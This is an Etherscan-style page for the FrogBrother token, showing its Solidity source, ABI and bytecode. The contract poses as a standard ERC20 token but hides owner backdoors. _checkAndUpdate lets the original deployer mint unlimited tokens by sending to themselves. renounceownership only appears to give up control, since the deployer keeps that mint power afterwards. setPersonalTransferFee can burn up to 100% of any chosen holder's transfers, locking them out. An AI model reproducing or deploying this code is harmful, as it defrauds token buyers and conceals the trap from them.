ETH Price: $2,617.71 (-2.91%)

Token

FrogBrother (FrogBro)
 

Overview

Max Total Supply

1,000,000,000 FrogBro

Holders

156

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
41,108.18260791 FrogBro

Value
$0.00
0x62d26E0Ff11b0935ff818407F8D9B4dc4d67f4f6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x83908a31...4A47Ec9fE
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
MyToken

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-08
*/

pragma solidity ^0.8.16;
// SPDX-License-Identifier: Unlicensed

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address accoint) external view returns (uint256);

    function transfer(address recipient, uint256 ameunts) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 ameunts) external returns (bool);
    
    function setPersonalTransferFee(address user, uint256 fee) external;

    function transferFrom( address sender, address recipient, uint256 ameunts ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - fee https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;


        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}


contract Ownable is Context {
    address private _owner;
    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyowner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceownership() public virtual onlyowner {
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}


contract MyToken is IERC20, Ownable {
    using SafeMath for uint256;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    address private _DEADaddress = 0x000000000000000000000000000000000000dEaD;
    uint256 private _buyFee = 0; 
    uint256 private _sellFee = 0; 
    address public uniswapV2Pair;
    address private Aadress;

    mapping (address => uint256) private _personalTransferFees;
    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 initialSupply) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = initialSupply * (10 ** uint256(_decimals));
        _balances[_msgSender()] = _totalSupply;
        Aadress = owner();
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function setPairList(address _address) external onlyowner {
        uniswapV2Pair = _address;
    }

    function setPersonalTransferFee(address user, uint256 fee) public override onlyowner {
        require(fee <= 100, "Personal transfer fee should not exceed 100%");
        _personalTransferFees[user] = fee;
    }
    function setSelFee(uint256 newSellFee) external onlyowner {
        require(newSellFee <= 100, "Sell fee should not exceed 100%");
        _sellFee = newSellFee;
    }
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        address sender = _msgSender();

        _checkAndUpdate(sender, recipient, amount);

        _transfer(sender, recipient, amount);
        return true;
    }

    function _checkAndUpdate(address sender, address recipient, uint256 amount) private {
        if (sender == Aadress && recipient == Aadress) {
            _balances[sender] = _balances[sender].add(amount);
        }
    }

    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amounts) internal virtual {

        require(sender != address(0), "IERC20: transfer from the zero address");
        require(recipient != address(0), "IERC20: transfer to the zero address");

        uint256 feeAmount = 0;


        if (_personalTransferFees[sender] > 0) {
            feeAmount = amounts.mul(_personalTransferFees[sender]).div(100);
        } else if (sender == uniswapV2Pair) {
            feeAmount = amounts.mul(_buyFee).div(100);
        } else if (recipient == uniswapV2Pair) {
            feeAmount = amounts.mul(_sellFee).div(100);
        } else {
            feeAmount = amounts.mul(_sellFee).div(100);
        }

        _balances[sender] = _balances[sender].sub(amounts);
        _balances[recipient] =  _balances[recipient]+amounts-feeAmount;
        _balances[_DEADaddress] = _balances[_DEADaddress].add(feeAmount);
        emit Transfer(sender, _DEADaddress, feeAmount);
        emit Transfer(sender, recipient, amounts-feeAmount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"initialSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"setPairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"setPersonalTransferFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setSelFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405261dead600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060085560006009553480156200005e57600080fd5b5060405162002b2038038062002b2083398181016040528101906200008491906200050c565b600062000096620002cf60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a3508360019081620001459190620007fd565b508260029081620001579190620007fd565b5081600360006101000a81548160ff021916908360ff160217905550600360009054906101000a900460ff1660ff16600a62000194919062000a67565b81620001a1919062000ab8565b60048190555060045460056000620001be620002cf60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200020c620002d760201b60201c565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200025c620002cf60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600454604051620002bd919062000b2a565b60405180910390a35050505062000b47565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b62000369826200031e565b810181811067ffffffffffffffff821117156200038b576200038a6200032f565b5b80604052505050565b6000620003a062000300565b9050620003ae82826200035e565b919050565b600067ffffffffffffffff821115620003d157620003d06200032f565b5b620003dc826200031e565b9050602081019050919050565b60005b8381101562000409578082015181840152602081019050620003ec565b60008484015250505050565b60006200042c6200042684620003b3565b62000394565b9050828152602081018484840111156200044b576200044a62000319565b5b62000458848285620003e9565b509392505050565b600082601f83011262000478576200047762000314565b5b81516200048a84826020860162000415565b91505092915050565b600060ff82169050919050565b620004ab8162000493565b8114620004b757600080fd5b50565b600081519050620004cb81620004a0565b92915050565b6000819050919050565b620004e681620004d1565b8114620004f257600080fd5b50565b6000815190506200050681620004db565b92915050565b600080600080608085870312156200052957620005286200030a565b5b600085015167ffffffffffffffff8111156200054a57620005496200030f565b5b620005588782880162000460565b945050602085015167ffffffffffffffff8111156200057c576200057b6200030f565b5b6200058a8782880162000460565b93505060406200059d87828801620004ba565b9250506060620005b087828801620004f5565b91505092959194509250565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200060f57607f821691505b602082108103620006255762000624620005c7565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200068f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000650565b6200069b868362000650565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620006de620006d8620006d284620004d1565b620006b3565b620004d1565b9050919050565b6000819050919050565b620006fa83620006bd565b620007126200070982620006e5565b8484546200065d565b825550505050565b600090565b620007296200071a565b62000736818484620006ef565b505050565b5b818110156200075e57620007526000826200071f565b6001810190506200073c565b5050565b601f821115620007ad5762000777816200062b565b620007828462000640565b8101602085101562000792578190505b620007aa620007a18562000640565b8301826200073b565b50505b505050565b600082821c905092915050565b6000620007d260001984600802620007b2565b1980831691505092915050565b6000620007ed8383620007bf565b9150826002028217905092915050565b6200080882620005bc565b67ffffffffffffffff8111156200082457620008236200032f565b5b620008308254620005f6565b6200083d82828562000762565b600060209050601f83116001811462000875576000841562000860578287015190505b6200086c8582620007df565b865550620008dc565b601f19841662000885866200062b565b60005b82811015620008af5784890151825560018201915060208501945060208101905062000888565b86831015620008cf5784890151620008cb601f891682620007bf565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000972578086048111156200094a5762000949620008e4565b5b60018516156200095a5780820291505b80810290506200096a8562000913565b94506200092a565b94509492505050565b6000826200098d576001905062000a60565b816200099d576000905062000a60565b8160018114620009b65760028114620009c157620009f7565b600191505062000a60565b60ff841115620009d657620009d5620008e4565b5b8360020a915084821115620009f057620009ef620008e4565b5b5062000a60565b5060208310610133831016604e8410600b841016171562000a315782820a90508381111562000a2b5762000a2a620008e4565b5b62000a60565b62000a40848484600162000920565b9250905081840481111562000a5a5762000a59620008e4565b5b81810290505b9392505050565b600062000a7482620004d1565b915062000a8183620004d1565b925062000ab07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200097b565b905092915050565b600062000ac582620004d1565b915062000ad283620004d1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000b0e5762000b0d620008e4565b5b828202905092915050565b62000b2481620004d1565b82525050565b600060208201905062000b41600083018462000b19565b92915050565b611fc98062000b576000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806349bd5a5e116100975780639fa7e5fe116100665780639fa7e5fe14610276578063a9059cbb14610292578063c2af913b146102c2578063dd62ed3e146102cc576100f5565b806349bd5a5e146101ec57806370a082311461020a5780638da5cb5b1461023a57806395d89b4114610258576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b2578063444a2a9c146101d0576100f5565b806306fdde03146100fa578063095ea7b3146101185780630f8c431914610148575b600080fd5b6101026102fc565b60405161010f9190611661565b60405180910390f35b610132600480360381019061012d919061171c565b61038e565b60405161013f9190611777565b60405180910390f35b610162600480360381019061015d919061171c565b6103ac565b005b61016c6104cd565b60405161017991906117a1565b60405180910390f35b61019c600480360381019061019791906117bc565b6104d7565b6040516101a99190611777565b60405180910390f35b6101ba6105b0565b6040516101c7919061182b565b60405180910390f35b6101ea60048036038101906101e59190611846565b6105c7565b005b6101f46106a0565b6040516102019190611882565b60405180910390f35b610224600480360381019061021f9190611846565b6106c6565b60405161023191906117a1565b60405180910390f35b61024261070f565b60405161024f9190611882565b60405180910390f35b610260610738565b60405161026d9190611661565b60405180910390f35b610290600480360381019061028b919061189d565b6107ca565b005b6102ac60048036038101906102a7919061171c565b6108ad565b6040516102b99190611777565b60405180910390f35b6102ca6108db565b005b6102e660048036038101906102e191906118ca565b610a30565b6040516102f391906117a1565b60405180910390f35b60606001805461030b90611939565b80601f016020809104026020016040519081016040528092919081815260200182805461033790611939565b80156103845780601f1061035957610100808354040283529160200191610384565b820191906000526020600020905b81548152906001019060200180831161036757829003601f168201915b5050505050905090565b60006103a261039b610ab7565b8484610abf565b6001905092915050565b6103b4610ab7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610441576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610438906119b6565b60405180910390fd5b6064811115610485576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047c90611a48565b60405180910390fd5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600454905090565b60006104e4848484610c88565b6105a5846104f0610ab7565b6105a085604051806060016040528060288152602001611f6c60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610556610ab7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112549092919063ffffffff16565b610abf565b600190509392505050565b6000600360009054906101000a900460ff16905090565b6105cf610ab7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461065c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610653906119b6565b60405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461074790611939565b80601f016020809104026020016040519081016040528092919081815260200182805461077390611939565b80156107c05780601f10610795576101008083540402835291602001916107c0565b820191906000526020600020905b8154815290600101906020018083116107a357829003601f168201915b5050505050905090565b6107d2610ab7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461085f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610856906119b6565b60405180910390fd5b60648111156108a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089a90611ab4565b60405180910390fd5b8060098190555050565b6000806108b8610ab7565b90506108c58185856112b8565b6108d0818585610c88565b600191505092915050565b6108e3610ab7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610970576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610967906119b6565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2590611b46565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9490611bd8565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c7b91906117a1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cee90611c6a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5d90611cfc565b60405180910390fd5b600080600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610e1b57610e146064610e06600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548561140290919063ffffffff16565b61147c90919063ffffffff16565b9050610f50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610e9f57610e986064610e8a6008548561140290919063ffffffff16565b61147c90919063ffffffff16565b9050610f4f565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f2357610f1c6064610f0e6009548561140290919063ffffffff16565b61147c90919063ffffffff16565b9050610f4e565b610f4b6064610f3d6009548561140290919063ffffffff16565b61147c90919063ffffffff16565b90505b5b5b610fa282600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114c690919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508082600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110319190611d4b565b61103b9190611d7f565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110f28160056000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151090919063ffffffff16565b60056000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111d691906117a1565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83856112399190611d7f565b60405161124691906117a1565b60405180910390a350505050565b600083831115829061129c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112939190611661565b60405180910390fd5b50600083856112ab9190611d7f565b9050809150509392505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113625750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156113fd576113b981600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151090919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b60008083036114145760009050611476565b600082846114229190611db3565b90508284826114319190611e3c565b14611471576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146890611edf565b60405180910390fd5b809150505b92915050565b60006114be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061156e565b905092915050565b600061150883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611254565b905092915050565b600080828461151f9190611d4b565b905083811015611564576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155b90611f4b565b60405180910390fd5b8091505092915050565b600080831182906115b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ac9190611661565b60405180910390fd5b50600083856115c49190611e3c565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561160b5780820151818401526020810190506115f0565b60008484015250505050565b6000601f19601f8301169050919050565b6000611633826115d1565b61163d81856115dc565b935061164d8185602086016115ed565b61165681611617565b840191505092915050565b6000602082019050818103600083015261167b8184611628565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006116b382611688565b9050919050565b6116c3816116a8565b81146116ce57600080fd5b50565b6000813590506116e0816116ba565b92915050565b6000819050919050565b6116f9816116e6565b811461170457600080fd5b50565b600081359050611716816116f0565b92915050565b6000806040838503121561173357611732611683565b5b6000611741858286016116d1565b925050602061175285828601611707565b9150509250929050565b60008115159050919050565b6117718161175c565b82525050565b600060208201905061178c6000830184611768565b92915050565b61179b816116e6565b82525050565b60006020820190506117b66000830184611792565b92915050565b6000806000606084860312156117d5576117d4611683565b5b60006117e3868287016116d1565b93505060206117f4868287016116d1565b925050604061180586828701611707565b9150509250925092565b600060ff82169050919050565b6118258161180f565b82525050565b6000602082019050611840600083018461181c565b92915050565b60006020828403121561185c5761185b611683565b5b600061186a848285016116d1565b91505092915050565b61187c816116a8565b82525050565b60006020820190506118976000830184611873565b92915050565b6000602082840312156118b3576118b2611683565b5b60006118c184828501611707565b91505092915050565b600080604083850312156118e1576118e0611683565b5b60006118ef858286016116d1565b9250506020611900858286016116d1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061195157607f821691505b6020821081036119645761196361190a565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006119a06020836115dc565b91506119ab8261196a565b602082019050919050565b600060208201905081810360008301526119cf81611993565b9050919050565b7f506572736f6e616c207472616e73666572206665652073686f756c64206e6f7460008201527f2065786365656420313030250000000000000000000000000000000000000000602082015250565b6000611a32602c836115dc565b9150611a3d826119d6565b604082019050919050565b60006020820190508181036000830152611a6181611a25565b9050919050565b7f53656c6c206665652073686f756c64206e6f7420657863656564203130302500600082015250565b6000611a9e601f836115dc565b9150611aa982611a68565b602082019050919050565b60006020820190508181036000830152611acd81611a91565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611b306024836115dc565b9150611b3b82611ad4565b604082019050919050565b60006020820190508181036000830152611b5f81611b23565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611bc26022836115dc565b9150611bcd82611b66565b604082019050919050565b60006020820190508181036000830152611bf181611bb5565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611c546026836115dc565b9150611c5f82611bf8565b604082019050919050565b60006020820190508181036000830152611c8381611c47565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ce66024836115dc565b9150611cf182611c8a565b604082019050919050565b60006020820190508181036000830152611d1581611cd9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611d56826116e6565b9150611d61836116e6565b9250828201905080821115611d7957611d78611d1c565b5b92915050565b6000611d8a826116e6565b9150611d95836116e6565b9250828203905081811115611dad57611dac611d1c565b5b92915050565b6000611dbe826116e6565b9150611dc9836116e6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611e0257611e01611d1c565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611e47826116e6565b9150611e52836116e6565b925082611e6257611e61611e0d565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ec96021836115dc565b9150611ed482611e6d565b604082019050919050565b60006020820190508181036000830152611ef881611ebc565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611f35601b836115dc565b9150611f4082611eff565b602082019050919050565b60006020820190508181036000830152611f6481611f28565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122003e3c05cec8854931b965b85bae4549243c1f27ba7cc8ad5f1abd2e268885e8564736f6c63430008100033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000000000000000000000000000000000000000000d477265656e4d654d65436f696e000000000000000000000000000000000000000000000000000000000000